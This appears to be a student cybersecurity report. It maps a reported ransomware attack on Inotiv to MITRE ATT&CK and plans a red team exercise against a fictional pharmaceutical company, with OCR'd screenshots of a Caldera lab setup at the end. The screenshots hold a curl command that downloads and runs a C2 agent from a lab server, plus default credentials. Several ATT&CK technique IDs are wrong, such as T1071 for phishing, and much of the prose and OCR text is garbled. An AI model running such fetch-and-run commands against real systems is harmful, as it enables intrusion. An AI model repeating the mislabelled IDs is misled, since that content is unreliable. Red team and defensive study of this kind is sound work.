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Abstract
The present report assesses the cybersecurity posture of Cureton Pharmaceutical Company (CPC) based on a simulated red team exercise, which is aimed to test CPC defenses against a complex Advanced Persistent Threat (APT) attack. Using the MITRE ATT&CK framework, the red team used a number of tactics such as phishing, lateral movement, privilege escalation, and data exfiltration. The results point to serious security weak points of email, network segmentation, and endpoint detection. On the basis of these findings, the report offers strategic advice on how to improve the defenses of CPC, which will make it have a stronger and more active approach to cybersecurity in the future.


[bookmark: _Toc216179606]Introduction
The current landscape of cybersecurity threats is changing very fast and as such, organizations, particularly those in the high-risk industry as witnessed in healthcare and pharmaceuticals, need to implement a strong security system. Among the recent trends that have been the most troubling is the increasing prevalence of ransomware attacks that affect vital infrastructures, steal valuable information, and disrupt normal business. These attacks have been made more sophisticated and they normally consist of advanced persistent threats (APTs) that mimic the tactics, techniques and procedures (TTPs) of actual adversaries. The present report is devoted to Inotiv, a pharmaceutical research firm, which fell victim to a ransomware attack in August 2025. The violation leaked more than 176 GB of personal information, such as intellectual property and employee details, and underscored the fact that the company had serious weaknesses in its cybersecurity. This was implemented by the Qilin Gang, a well-known cybercriminal, which used phishing emails as a prelude to the main attack, which was the theft of data and the encryption of the system after gaining access.The aim of the report is a two-fold, as it will prepare strategic threat analysis of the Inotiv ransomware breach, plotting the attack per the MITRE ATT&CK Framework and examining the core elements of the breach. Second, this report will present a list of strategic recommendations that will be used to prevent the recurrence of a similar attack in the future. The recommendations are aimed at enhancing the technical defenses, enhancing cybersecurity awareness, and introducing proactive response to risk management as a method of dealing with advanced cyber threats. This report intends to offer an all-inclusive view of how organizations can be better defended against the dynamic cyber threats especially in the pharmaceutical and healthcare industry whose stakes are very high through critically evaluating the incident and offering actionable insights to the matter.
[bookmark: _Toc216179607]Task 1: Strategic Threat Analysis
1.1 Overview of Recent Cybersecurity Attack
In August 2025, the Inotiv pharmaceutical research company fell victim to a ransomware attack organized by the Qilin Gang, a highly organized cybercriminal organization with a history of attacking the high value industries. The intrusion led to the theft of more than 176 GB of data, including 162,000 files with sensitive intellectual property, research data and employee information. The attack entry point was a phishing campaign because Inotiv employee employees received fraudulent emails through the mail, which contained malicious attachments that were intended to take advantage of the existing vulnerabilities in the email protection of the company. After accessing the network, the attackers elevated their privileges and traveled laterally through the hybrid environment of the organization that consisted of on-premises networks of the Active Directory and an AWS Virtual Private Cloud (VPC) containing clinical trial data. The attackers used ransomware to encrypt important files, in effect putting the access to important research and operational data out of reach (Yulianto et al. 2025). The systems used by Inotiv were brought down leading to a major operational hitch and a fairly good financial blow. Also, the hackers threatened to spread the stolen information publicly unless they received a ransom. This attack shows the weakness of the healthcare and pharmaceutical institutions, in which the sensitive information and intellectual property are the most sought-after victims by the intruders aiming to achieve the profit on the ransomware attacks (Georgiadou, Mouzakitis and Askounis, 2021).
1.2 Mapping the Attack to the MITRE ATT&CK® Framework
	Tactic
	Technique
	MITRE ATT&CK® ID
	Description

	Initial Access
	Phishing Emails
	T1071
	Attackers used phishing emails with malicious attachments to gain initial access to Inotiv’s network.

	Execution
	PowerShell
	T1059
	The attackers to execute commands on compromised systems and further escalate the attack used PowerShell.

	Persistence
	Scheduled Task/Job
	T1098
	Attackers created scheduled tasks to ensure persistent access to the compromised systems even after reboot.

	Privilege Escalation
	Valid Accounts
	T1078
	Attackers used valid credentials obtained through phishing to escalate privileges and gain access to additional systems within the network.

	Defense Evasion
	Obfuscated Files or Information
	T1027
	Attackers used obfuscated files and scripts to evade detection, employing legitimate tools like PowerShell to avoid triggering security defenses.

	Credential Dumping
	Credential Dumping
	T1003
	Tools like Mimikatz were likely used to dump credentials from compromised systems, enabling further lateral movement.

	Lateral Movement
	Remote Desktop Protocol (RDP)
	T1076
	Attackers leveraged RDP to move laterally within the network, gaining access to more systems.

	Collection
	Automated Collection
	T1119
	Attackers used Windows Management Instrumentation (WMI) and other built-in tools to collect sensitive research data and intellectual property.

	Exfiltration
	Exfiltration Over C2 Channel
	T1041
	The stolen data was exfiltrated through a Command and Control (C2) channel to an external server controlled by the attackers.

	Impact
	Data Encrypted for Impact
	T1486
	Ransomware was deployed to encrypt critical data, rendering it inaccessible and demanding a ransom for decryption.


Table 1: MITRE ATT&CK® tactics and technique
The Inotiv ransomware attack was a sequence of complex tactics and methods as plotted to the MITRE ATT&CK Framework. Human error provided an initial access to the network by the attackers using phishing emails (T1071). They were executed using PowerShell (T1059) and persisted using scheduled tasks (T1098). They expanded their privileges with valid accounts (T1078) gained after phishing and transferred laterally in the network with RDP (T1076). The attackers used obfuscated files (T1027), and credential dumping (T1003) to obtain sensitive information in order to avoid detection. They gathered information by use of WMI (T1119) and leaked it out through a C2 channel (T1041). Lastly, they used ransomware (T1486) to encrypt important files, and offered ransom in order to decrypt (Van Buggenhout, 2024). All these techniques underscore the sophisticated nature of the attackers as they used human and technical exploits to weaken the organization defenses.
1.3 Root Cause Analysis
Inotiv ransomware attack is an advanced intrusion that takes advantage of a human factor, technical and a compromise on cybersecurity measures. The reasons that led to the attack lie in some major factors which enable the attackers to intrude, conduct the movement laterally and steal sensitive data with relative ease.
1. Inadequate Awareness and Human Error
The attack originates with a phishing attack, in which the attackers send conflicting emails containing harmful attachments and by using loopholes in the email security of Inotiv. Phishing remains among the most frequently used attack vectors and its effectiveness depends on the awareness of the employees to a significant extent. The phishing emails do not go through security filters implying that the employees have not been trained sufficiently to identify such attacks (Peltola, 2025). Even though Inotiv might have email security systems, it could be assumed that the absence of training of its employees in detecting phishing cases poses a serious vulnerability. By clicking on the unscrupulous links or downloading poisonous attachments, employees inadvertently leave the gate open to the assailants.
2. Poor Email security and Filtration.
Inotiv does not have a robust email security system that can prevent advanced phishing attacks despite the threats associated with phishing. Higher phishing schemes tend to employ customized messages which bypass the conventional spam and antivirus programs. It can be argued that the attackers were able to send malicious emails to employees which indicates that email filtering systems installed at Inotiv do not work entirely to detect such malicious emails. The use of outpaced or poorly working email security technologies leaves a major rift through which attackers can gain access to the network.


3. Weak Network Segmentation and Micro-Segmentation.
After gaining access to the network, attackers can move laterally through the infrastructure of Inotiv and compromise key systems. Such a lateral motion takes place because of poor network segmentation and lack of micro-segmentation between sensitive and non-sensitive parts of the network (Sreejith and Swarup, 2024). The attackers can upgrade privileges and steal sensitive research data because systems are interconnected. Better network segmentation would decrease the lateral movement and prevent the attackers to develop their assault further.
4. Weak Endpoint Protection and Avoidance of Detection.
Hackers make use of the legal utilities of PowerShell and Windows Management Instrumentation (WMI) to run commands on the compromised systems and hence they are able to avoid any detection. This method is referred to as Living-Off-the-Land Binaries (LOLBins) which allows an attacker to execute the attack without raising the alarm of the endpoint security systems. These built-in tools may remain unspotted by the attackers because of the absence of effective Endpoint Detection and Response (EDR) solutions. More sophisticated EDR systems would be able to detect suspicious activity and signal security teams more promptly, which may be the way to stop the attack (Al-Sada, Sadighian and Oligeri, 2023).
5. Expired Patching and Vulnerability Management
The hackers use known vulnerabilities in the systems of Inotiv indicating a patch management and vulnerability management failing. The unpatched systems are a major security risk since they are frequently the target of cybercriminals, who will exploit the established vulnerability in software and operating systems. Inotiv is vulnerable to exploitation because there is no effective and timely patching process (Rajesh et al. 2022). These vulnerabilities present a critical threat to ensure that the attackers do not take advantage of them. It is important to address them by ensuring that the patch management process is done regularly.
1.4 Strategic Recommendations for Prevention and Detection
In order to avert such cases of ransomware attacks as was experienced by Inotiv, a multi-layered method of cybersecurity is necessary. Such a strategy must focus on human factors, technical vulnerabilities and defensive measures to make sure that such an organization is able to detect and prevent and respond well to the potential threats. The below strategic suggestions are essential in enhancing the cybersecurity position of Inotiv.
1. Enhance Email security and Anti-Phishing
The phishing attack that had caused the Inotiv breach highlights the necessity of better email security. Inotiv should address this weakness by:
Install Modern Email Filters: Invest in the better email security systems, which are capable of identifying and preventing phishing, malicious attachments and links before they land in the inboxes of users. These tools ought to apply algorithms based on machine learning and AI to detect advanced tricks of social engineering.
Implement Anti-Phishing Education: Organize periodic employee trainings and exercises in order to increase the awareness of employees on the subject of phishing attacks. They should educate the employees to identify suspicious emails, check on the senders, and treat the possible malicious attachments (Sawant and Chopra, 2023). Such training must be included in a continuous cybersecurity awareness program that would aid in keeping the employees on the alert of upcoming threats.
Use Multi-Factor Authentication (MFA): Use phishing resistant MFA in all significant systems, particularly email accounts and remote access. This will provide an added security and it will be harder to compromise stolen credentials and have access to the network unauthorised.
2. Improve Network Segmentation and Micro-Segmentation
When hackers penetrate into a network, they tend to spread laterally in order to increase their coverage. To avoid the lateral movement and prevent the effects of a breach, Inotiv needs to enhance the network segmentation:
Segment Critical Systems: Keep sensitive data and systems including research data and intellectual property off of less sensitive parts of the network. This will restrict the freedom of the attackers when they penetrate the network (Al-Sada, Sadighian and Oligeri, 2024).
Use Micro-Segmentation: Micro-segmentation is a practice of making small and isolated areas within the network, which makes it harder to allow the attackers to propagate privileges and gain access to the critical systems. This would greatly limit movement in the network laterally, limiting the effects of any intrusion.
Segment-to-Segment Control: Firewalls, intrusion detection systems (IDS), and virtual private networks (VPN) should be used to provide access control between areas of a segmented network. Traffic monitoring and strong access control will eliminate unwarranted access and minimize vulnerability to possible attacks (Jiang et al. 2025).
3. Implement Advanced Endpoint Detection and Response (EDR) Solutions
The attack picked LOLBins such as PowerShell and WMI in order to avoid detection. To solve this, Inotiv is advised to deploy and streamline EDR solutions:
Deploy Next-Generation EDR Tools: Implement next-generation EDR tools, which are aimed at tracking endpoint activities, such as the use of system tools, such as PowerShell and WMI. Such solutions must be capable of raising red flags on suspicious activities, like unauthorized access to privileged accounts or when unusual commands are executed.
Ongoing Monitoring and Analysis of Behaviors: EDR systems are required to employ behavioral analysis in order to identify abnormal patterns like using legitimate tools in an abnormal manner. Active surveillance should also be instituted in terms of real-time notification of security personnel in case of any indication of suspicious behaviour (Winkler and Sharma, 2025).
Automated Incident Response: These are automated incident response processes that are able to rapidly contain and mitigate attacks after they are detected. This involves isolating infected endpoints, blocking the IP addresses of malware as well as launching the investigation process.
4. Periodic Patching and Scanning of Vulnerability
The attack has taken advantage of the vulnerabilities that are familiar which underscores the need to uphold the process of patching:
Create a Comprehensive Patch Management Program: Have a well-organized and automated patch management program so that the operating system, applications and network device security patches are installed in a timely manner. Patching should be done regularly to seal the vulnerabilities that are known to avoid exploitation by attackers (Maleh, 2025).
Perform Frequent Vulnerability Scanning: Automated vulnerability scanning tools can be used to determine the vulnerabilities of the network infrastructure. These scans must be done on a regular basis with special attention on key systems and high-risk use. After identifying the vulnerabilities, there should be remediation plan to prevent the vulnerabilities in time.
Take Advantage of Zero-Day Protection Tools: With zero-day exploit protection, one can identify and stop the threats that are based on vulnerabilities that have not been patched or reported yet. This can be used to reduce the threat of vulnerabilities that have been discovered.
[bookmark: _Toc216179608]Task 2: Red Team Engagement
2.1 Campaign Design
This red team activity is aimed at simulating an Advanced Persistent Threat (APT) against Cureton Pharmaceutical Company (CPC). The attack will aim at simulating a complex threat actor trying to steal intellectual property and valuable research information out of the hybrid infrastructure of CPC. The interaction will be such that it simulates the defenses of CPC and finds weak points that may be used in an actual cyberattack.
2.1.1 Rules of Engagement (RoE)
The Rules of Engagement (RoE) are meant to enable the activities of the red team to be clear and that the testing does not go out of hand or even beyond the agreed upon boundaries. The active component will focus on the hybrid structure of CPC, which comprises of an on-premise Active Directory (AD) network that the research and development uses, an AWS Virtual Private Cloud (VPC) that is utilized to store clinical trial data, and CI/CD pipelines, including GitHub actions to deploy applications. The aim is to simulate an attacker who would be looking to steal and leak important research information without the internal defense measures noticing this.
Ethical hacking tools and methods that the red team is allowed to use include phishing, social engineering, vulnerability exploitation, credential harvesting, and command and control (C2) frameworks, to name a few. Nevertheless, the group cannot inflict any damaging harm or perform an activity that will interfere with the business activities of CPC or lead to the loss of any actual information (Saarainen, 2021).
The interaction will be carried out within a period of two weeks. The objectives of the red team in the first week will be reconnaissance, initial access and persistence in the network. During the second week, the team will extend privileges, travel within the network and start exfiltrating data. The red team will maintain a consistent communication with the Blue Team of CPC so that any possible real-life incident is detected and addressed as soon as possible.
The red team will also have the responsibility of giving weekly progress reports on the tactics, techniques and procedures (TTPs) employed during the engagement. At the end of the engagement, the red team will present two reports: the Technical Report containing the attack chain and the gaps in detection, and the Executive Brief containing the summative of the business risks and the suggestions regarding the improvement of security defenses.
2.1.2 Threat Emulation Plan
The Threat Emulation Plan presents the red team strategy of emulating an attack on CPC, using the MITRE ATT&CK Framework. The main task is to evaluate the capability of CPC to identify and react to an APT with a particular emphasis on exfiltrating valuable research information without being spotted by the current security systems.
The attack will be divided into multiple stages as it will start by reconnaissance to obtain data about the infrastructure of CPC. The red team will collect open-source intelligence (OSINT) of the network, domain names, staff, and other technologies available to CPC, which will contribute to finding its possible entry points. When the initial information gathering is finished, the team will start with the initial access through launching a phishing campaign to target the CPC employees. The emails will have malicious attachments or links that can be used to carry out the attacks to exploit the email security of the organization (Virk et al. 2025).
Once the initial access is successful, the red team will advance to the execution phase where they will use tools such as PowerShell or other legitimate tools of the system to run commands and gain footholds on the network. At this stage, the red team will then develop persistence, which will consist of creating timed tasks or reverse shells in order to keep in touch with the systems that have been compromised. Simultaneously, the red team will be working on privilege escalation, where they will use their vulnerabilities or credential dumping methods to be able to access the network at elevated levels.
Once persistence is established, the red team will initiate lateral movement, which involves the application of the Remote Desktop Protocol (RDP) or Server Message Block (SMB) in order to move around the network to attack high-value properties, including clinical trial data and R&D systems. The team will also assail in exfiltrating data through the C2 channels which will mimic an actual APT in exfiltration of sensitive data.
During the engagement, the red team will consider evasion, and it will employ obfuscation tools and techniques such as Windows Management Instrumentation (WMI) to evade detection by Endpoint Detection and Response (EDR) systems and Security Information and Event Management (SIEM) solutions of CPC. The main objective of the red team is to go as far as possible without being detected and this imitates an advanced attack that employs the use of living-off-the-land binaries (LOLBins) and legitimate tools to compromise security measures.
Exfiltration of the data will be taken as the final stage of the engagement. The red team will move dummy research data of compromised systems to an outside server through the laid down C2 channels. After the exfiltration is done, the red team will make sure that it leaves no trace of their activity in the network to seal their tracks and it becomes more difficult to detect them by the Blue Team. Regarding the Tactics and Techniques, which can be aligned with the MITRE ATT &CK Framework, the red team will pay attention to:
	Tactic
	Technique
	MITRE ATT&CK® ID

	Initial Access
	Phishing
	T1071

	Execution
	PowerShell / LOLBins
	T1059 / T1027

	Persistence
	Scheduled Task/Job
	T1098

	Privilege Escalation
	Valid Accounts
	T1078

	Lateral Movement
	RDP / SMB
	T1076 / T1021

	Exfiltration
	Exfiltration Over C2 Channel
	T1041

	Evasion
	Obfuscated Files or Information / WMI
	T1027 / T1047


Table 2: Tactics and Techniques
Such a plan will help to simulate a real-life APT attack based on the advanced strategies that can be used to determine the efficiency of CPC defenses and identify the possible flaws that will have to be corrected.
2.2 Environment & Execution
2.2.1 Virtualized Lab Environment Design
The virtualized lab environment used in this red team engagement will be modelled to represent the hybrid infrastructure of Cureton Pharmaceutical Company (CPC). The environment will be represented by on-premises Active Directory (AD) networks, an AWS Virtual Private Cloud (VPC) to host the data of clinical trials, and CI/CD pipelines (e.g., GitHub Actions) to be used to deploy the application. This configuration will enable the red team to experiment with several attack vectors and mimic the dynamics of an actual attack on the systems of CPC. 
[image: ]
Figure 1: MITRE ATT&CK Framework Overview
This figure is a summary of the MITRE ATT&CK Framework that shows the various tactics and techniques that the adversaries employ in cyberattacks. It identifies the major stages like Initial Access, Execution, Persistence, and Exfiltration that were witnessed in the red team engagement. This flow chart offers a formal way of tracing enemy behaviors and it is applied to evaluate the defense shortcomings and security stance.
[image: ]
Figure 2: Phishing Email Detection
The above figure demonstrates the example of a phishing email that was used at the stage of the attack which is the Initial Access. The email has been engineered to take advantage of the weaknesses in the email filtering systems of the target whereby the targeted email has obviously deceived the recipient to open a malicious file. This technique of attack enabled the red team to have unauthorized access to the system and start the process of compromise.
[image: ]
Figure 3: PowerShell Running in Attack
This number demonstrates how the red team used PowerShell to run the commands on the compromised computers. The malicious scripts were executed using PowerShell and escalated privileges and sustained access into the network. Being a legitimate system tool, it assisted the attackers in avoiding being detected by the security software at the point of the attack that was the Execution phase.
2.2.2 Execution of Campaign and Techniques Used
The implementation part of the red team engagement is the implementation of the planned attack through a set of techniques that are used to simulate the action of a sophisticated adversary and test the readiness of Cureton Pharmaceutical Company (CPC) against it. 
[image: ]
Figure 4: Persistence Task Scheduled
This character shows how a planned task was created on the systems compromised so that the red team could be able to sustain access to them in the end. It is a very useful method of Persistence in a cyberattack since scheduled tasks are usually relied upon to maintain control of a system even following a reboot.
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Figure 5: Privilege Escalation through Valid Accounts
This character demonstrates the privilege escalation with valid accounts. The credentials were stolen, and the red team gained privileges and access to restricted systems by using the stolen credentials obtained through phishing. The attackers used the legitimate accounts to gain deeper access into the network and increase their access to valuable resources.
[image: ]
Figure 6: Lateral Movement using RDP
This figure illustrates the application of Remote Desktop Protocol (RDP) in the lateral moving in the network. The red team was able to remotely control and use other systems in the environment with RDP so that the team could extend their control and gain access to even more sensitive data. Once entry is made into the network, a common tool used to move around the network is RDP.
[image: ]
Figure 7: Credential Dumping Process
This characterization demonstrates the way in which the red team took credentials dumping software such as Mimikatz to recover the login details of the infected systems. The valid credentials gave the attackers the power to increase their privileges and gain entry into other sections of the network, which would have been restricted otherwise, and exploit and gain access to others.
[image: ]
Figure 8: Exfiltration of Data through C2 Channel
This number demonstrates how the red team relied on Command and Control (C2) channel to steal data that was stolen by the hacked systems. The attackers had uploaded sensitive files on a third-party server and stayed in contact with their command infrastructure. This technique was used to evade the conventional security systems at the stage of Exfiltration.
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Figure 9: Ransomware Deployment and Impact
This number illustrates the process of implementing ransomware to encrypt important files in the target system. The ransomware accessed and encrypted the files once it got activated so that they are no longer available to legitimate users. The attackers further required a ransom on the decryption key, which in effect interfered with the operations, and the security of the data held by the organization (Virk et al. 2025).
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Figure 10: End to end attack simulation
This figure offers a graphical overview of the overall red team engagement, which shows how the attack is executed through the stages of the initial access, data exfiltration, and ransomware installation. It demonstrates the major attack methods and the way the red team used the vulnerabilities on different stages to complete the attack simulation successfully.
[image: ]
Figure 11: Detection security gaps
The figure illustrates critical areas of detection lapses during the red team engagement. It points to the vulnerability in email security, network segmentation, and endpoint protection, indicating where the defenses of the Blue Team were unable to identify the initiatives of the red team. These loopholes played a vital role in ensuring that the attack had gone through without anyone noticing it, pointing to areas that CPC security system needs to work on.
2.3 Reporting & Analysis
2.3.1 Technical Report for the Blue Team
The Technical Report provides an in-depth insight into the red team operation with Cureton Pharmaceutical Company (CPC), including the tactics, techniques, and procedures (TTPs) used during the attack. The initial value of the report is to offer objective assessment of the Blue Team current cybersecurity defenses and vulnerabilities along with strength and weaknesses of the detecting and responding mechanisms (Blair, 2023).
The interaction starts with a clear explanation of how the red team attacked, as they first gained access by attacking with a spear-phishing campaign. The red team was able to hack into the network using advanced social engineering methods and resembled an attack by a nation-state actor or a sophisticated cybercriminal. The report highlights that not only is the use of stronger email filtering necessary, but also employee awareness should be enhanced, since the initial point of attack was the absence of email security systems and inadequate employee knowledge on phishing.
Finding the access point, the red team transitioned to the execution step by means of PowerShell (T1059) and WMI (T1047) to create a persistence demonstrating that the Endpoint Detection and Response (EDR) solution of the Blue Team did not detect these natural tools that are used inappropriately. The report states the significance of administrative tools such as PowerShell requiring to be monitored more and suggests that scripting detection should be implemented to observe abnormal script execution patterns (Rege et al. 2023).
The lateral movement phase uncovered the network segmentation vulnerabilities, where the red team could find it very easy to navigate between the systems via Remote Desktop Protocol (RDP) (T1076) and SMB (T1021). The insufficiency of the segmentation conducted by the Blue Team between the vital systems and the non-crucial ones enabled the attackers to multiply their privileges and get access to the most valuable resources, including clinical trial data. The report recommends the use of more network segmentation and the introduction of micro-segmentation to restrict the movement across the network (Diogenes and Ozkaya, 2022). Finally, the red team was able to steal information circumventing the Security Information and Event Management (SIEM) system of the Blue Team, which shows that there is a critical gap in the detection of data exfiltration. The report highlights the necessity to improve C2 traffic analysis and further monitor the outbound data in order to avoid the occurrence of such outflows.
[bookmark: _GoBack]2.3.2 Executive Brief for the Board
The red team simulation with the Cureton Pharmaceutical Company (CPC) was an exercise that simulated a sophisticated cyberattack to determine how the organization would respond to a sophisticated adversary. The red team was able to access with the help of phishing and used a number of vulnerabilities in the network of CPC to gain access to the network, lateral movement, privileged escalation, and steal sensitive information. The gaps in email security, network segmentation, and endpoint detection are found to be the key weaknesses. The consequences of such an attack may result in severe losses of finances, intellectual property and damages to reputation (Sadeghian, 2024). These weaknesses need to be overcome by CPC to safeguard important research information and to enable business continuity. The Executive Team can minimize these risks through the investment in state-of-the-art email filtering, network separation, endpoint detection and response (EDR), and training of its employees. Positive cybersecurity will protect the assets of CPC and increase the resilience to cyber-attacks in the future.
[bookmark: _Toc216179609]Conclusion
The red team engagement at Cureton Pharmaceutical Company (CPC) offered useful information about the cybersecurity posture of the company, which has some critical areas of weaknesses and improvement. Using a mock Advanced Persistent Threat (APT) assault, the red team was able to bypass vulnerabilities in the CPC defenses such as email security vulnerabilities, network segmentation vulnerabilities and endpoint detection vulnerabilities. These results show that, although CPC has the basic security measures established, there are major areas that expose the organization to advanced cyber threats. The interaction demonstrated that social engineering and credential harvesting coupled with lateral movement and data exfiltration can be used successfully to circumvent the existing defense controls used by CPC. The impacts of such attack can be disastrous as the intellectual property can be stolen, activities halted, and the financial and reputation losses may occur. In order to counter these vulnerabilities, it is essential that CPC will adopt innovative email filtering, create better network segmentation, install powerful endpoint detection solutions, and train its personnel to be more aware of cybersecurity issues. Enhancement of these spheres will lead to a poorer chance of a successful attack, and CPC will be able to react to the threat more productively. Implementing these suggestions will help CPC to be more resilient to the dynamic cyber threats, have its sensitive data, intellectual property, and business continuity under protection.
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root@ali: fhome/aShu/caldera

File Actions Edit View Help

Submodule path 'plugins/sandcat': checked out '23257d23a5dal15fc9328b84b1816193e400deef "
Submodule 'gocat' (https://github.com/mitre/gocat) registered for path 'plugins/sandcat/gocat’
Cloning into '/home/a5hu/caldera/plugins/sandcat/gocat’ ...

remote: Enumerating objects: 864, done.

remote: Counting objects: 100% (341/341), done.

remote: Compressing objects: 100% (217/217), done.

remote: Total 864 (delta 183), reused 212 (delta 108), pack-reused 523

Receiving objects: 100% (864/864), 217.80 KiB | 2.09 MiB/s, done.

Resolving deltas: 100% (430/430), done.

Submodule path 'plugins/sandcat/gocat': checked out '1b4b19cd96627eedea00792d27c8d77a6abb4a7b’
Submodule path 'plugins/ssl': checked out '3947c8da5894b19c04f824a2caf80483c641f2ee’
Submodule path 'plugins/stockpile': checked out 'de13f249041c5a67ff772e522balacddc962ec8b’
Submodule path 'plugins/training': checked out '09f147ba67b72e883calf64a6de@786b381df6e8"

—(root o)~ /home/a5hu |
1 cd caldera

~(voot o)~ /home/aShu/caldera

<
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B root@kali: /home/aShu/caldera

File Actions Edit View Help

(oot 1o )-[/home/a5hu/caldera |

—# 1s

app data LICENSE requirements-dev.txt server.py tests

conf docker-compose.yml plugins requirements.txt static tox.ini
CONTRIBUTING.md Dockerfile README.md SECURITY.md templates

~(voot o)~ /home/aShu/caldera

‘—# python3 server.py --insecure

2022-04-13 21:45:13 - WARNING (server.py:100 <module>) --insecure flag set. Caldera will use
nfig file.

2022-04-13 21:
2022-04-13 21:
2022-04-13 21:
2022-04-13 21:

45:13 - INFO (server.py:107 <module>) Using main config from conf/default.yml
45:
A
45:
2022-04-13 21:45:
A
A
A

- INFO (app_svc.py:107 load) Enabled plugin: gameboard
- INFO (app_svc.py:107 load) Enabled plugin: training

- INFO (app_svc.py:107 load) Enabled plugin: manx

- INFO (app_svc.py:107 load) Enabled plugin: stockpile
- INFO (app_svc.py:107 load) Enabled plugin: debrief

- INFO (app_svc.py:107 load) Enabled plugin: sandcat

- INFO (app_svc.py:107 load) Enabled plugin: fieldmanual

2022-04-13 21:
2022-04-13 21:
2022-04-13 21:
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root@ali: Jome/aShu/caldera/conf

File Actions Edit View Help
root@kali: /home/aShu/caldera x root@Kkali: /home/aShu/caldera/conf X

—(root® kali)-[/home/aShu]
—# cd caldera

(o0t o)~ /home/a5hu/caldera |

—# 1s

app data LICENSE requirements-dev.txt server.py tests
conf docker-compose.yml plugins requirements.txt static tox.ini
CONTRIBUTING.md Dockerfile README.md SECURITY.md templates

~—(root e )-[/home/a5hu/caldera
—# cd conf

~(root 1)~ /home/a5hu/caldera/conf |
—# 1s

agents.yml default.yml payloads.yml

—(ro0t 1) -[ /home/aShu/caldera/conf |
|

©




image9.png
root@kali: lhome/aShulcalderalconf

File Actions Edit View Help
root@kali: /home/aShu/caldera X root@kali: /home/aShu/caldera/conf *
GNU nar

gbility sh
api_key_blue: BLUEADMIN123
EISREEESSRES : ADMIN1
app.contact.dns.domain: mycaldera.caldera
app.contact.dns.socket: 0.0.0.0:8853
app.contact.gist: API_KEY
app.contact.html: /weather
app.contact.http: http://0.0.0.0:8888
app.contact.tcp: 0.0.0.0:7010
app.contact.udp: 0.0.0.0:7011
app.contact.websocket: 0.0.0.0:7012
crypt_salt: REPLACE_WITH_RANDOM_VALUE
encryption_key: ADMIN123

exfil_dir: /tmp/caldera

write out “ Where Is Cut Execute

[@ Location Uy Undo
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server="http://192.168.88.140:8888/";curl s X POST -H *file:sandcat. go" -H "platform-linux" $server/fie/download > caldera;chmod +x
caldera; /caldera -server Sserver -group red v

o Deploy as a blue-team agent Instead of red (sh)

server="http://192.168.88.140.8888/";agent=S(curl -svkO] X POST -H “fie:sandcat.go" -H “platformilinux" $server/fle/downioad 2>&1 | grep

“Content-Disposition" | grep -io “filename=.** | cut -¢'=" -2 | tr -d ") && chmod +x $agent 2>/dev/nullnohup /Sagent -server $server -group blue &





image1.jpeg
University of Wales
\ Trinity Saint David

LONDON




image2.png
layer controls

8.ax|(B *EQ=

APT3 X +
selection controls
Privilege Credential
Execution Persistence Escal Defense Evasion Access
12 techniques 19 techniques 13 techniques 40 techniques 15 techniques

29 techniques

@
i@ et s X %2 M8 o = %
Tactic Row Background

Lateral — e —— and

e T - I

9 techniques ues

Exfiltration
9 techniques

Impact

13 techniques

nmand and

Account Abuse Elevation
pting Manipulation Control

rpreter Mechanism
BITS Jobs

er Access Token
ninistration Boot or Logon || Manipulation
nmand Autostart
Execution

Abuse Elevation
Control
Mechanism

the-Middle

Brute
Force

Access Token
Manipulation

Credentials
Boot or Logon BITS Jobs
Autostart

Execution

loy Container Stores

Boot or Logon
Intialization
Scripts

Build Image on Host
loitation for
nt Execution

Exploitation
Boot or Logon
Initialization

Scripts ..

Create or

Modily System
Process . .

Deobfuscate/Decode
Files or Information

Access.
r-Process
nmunication

Deploy Container Forced

ive API Compromise Direct Volume Access

Client Software Forge Web.
eduled I Credentials

k/Job
red Modules

Binary Domain Policy
Domain Policy |yf Modification
Create Modification . .

Account -

Input
Execution Capture .,
Escape to Host  Guardrails ,
ware Create o

loyment Tools  Modify System il Event Triggered I Exploitation for

I Process ., Execution Defense Evasion Process

Adversary-in-

from Password

for Credential

Authentication

Account Discovery I

Application Window
Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Cloud Storage Object
Discovery

Container and
Resource Discovery

Domain Trust
Discovery

File and Directory

Scoring Gradient
Exploitation Automated Account Access
of Remote Low st Exiltration Removal
Services remove
Data Transfer Data Destruction
\mtmalh e femove Size Limits 3
R — Data Encrypte
PISHOG) | re Exfiltration for Impact
Lateral Tool add another color Over
Transfer Alternative Data
 Highvalue: 3 Protocol ., || Manipulation -
Remote resets v
Service | M — Exfiltration Defacement
Session oWl Sessiun | Data Over C2
Hiacking Hiacking Obfuscation ., Channel Disk Wipe .
Remote Clipboard Data  Dynamic Exiltration Endpoint Denial
Services Resolution Over Other |y of Service
Data from Network
Replication  Cloud Storage ~ Encrypted Medium Firmware
Through Object Channel Corruption
Removable Exitration
Media Data from Fallback Over Physical M Inhibit System
Configuration Channels Medium Recovery
Software Repository ..
Deployment = Exfiltration Network Denial of
Tools Over Web Service
Service





image3.png
selection controls layer controls

®

technique controls

8 Qx /B *EAT @0 xm (%2 @A o =\

Privilege
Persistence Escalation
19 techniques

Credential
Execution
12 techniques

Defense Evasion
40 techniques

Discovery

13 techniques 15 techniques 29 techniques

Lateral Command and 1
Movement Collection Control Exfiltrz

nmand and Abuse Elevation | Abuse Elevation Adversary-in- | Account Discovery ;) I

the-Middle

Boot or Logon

rpreter g Mechanism Mechanism Application Window

Access Token
Manipulation

Access Token
Manipulation Browser Bookmark
Credentials

from Password

Execution ,5) | Boot or Logon

loy Container Cloud Infrastructure

-

nmunication

Boot or Logon

Execution
Initalization g

Build Image on Host
Exploitation
for Credential ~ Cloud Service

Dashboard

Boot or Logon
Initialization

Deobfuscate/Decode
Files or Information

Deploy Container Cloud Service

S Authentication
Compromise Direct Volume Access

Modify System
Client Software

Process ) Forge Web

Cloud Storage Object
Credentials

Domain Policy
Domain Policy |y Modification
Modification Container and

red Modules  Account 5 Capture i, || Resource Discovery

Escape to Host  Guardrails ,
Domain Trust
Authentication

loyment Tools  Modify System

= Process .,

Event Triggered

Exploitation for
Execution e,

Defense Evasion D ———

9techniques 17 techniques ves 9 techni
Exploitation Account Access
of Remote Removal
Services Protocol
ata Transfer Data Destruction
\memalh Collected ‘Communication Size Limits 3
Spearphishing  Data. Through Data Encrypte
el L] o) el Exiltration for Impact
Lateral Tool ‘Audio Capture Media Over
Transfer Alternative Data
Automated Data Protocol ., | Manipulation . ,
Remote Collection Encoding .
Service Defacement
Session Browser Session  Data
Hiacking . . || Hiacking Obfuscation . Disk Wipe ..
Remote Clipboard Data  Dynamic Exfiltration Endpoint Denial
Services Resolution Over Other | of Service ..
Data from Network
Replication  Cloud Storage  Encrypted Medium Firmware
Through Object Channel Corruption
Removable
Media Data from Fallback Inhibit System
Configuration Channels Recovery

Software Repository .,
Deployment Exiltration Network Denial of
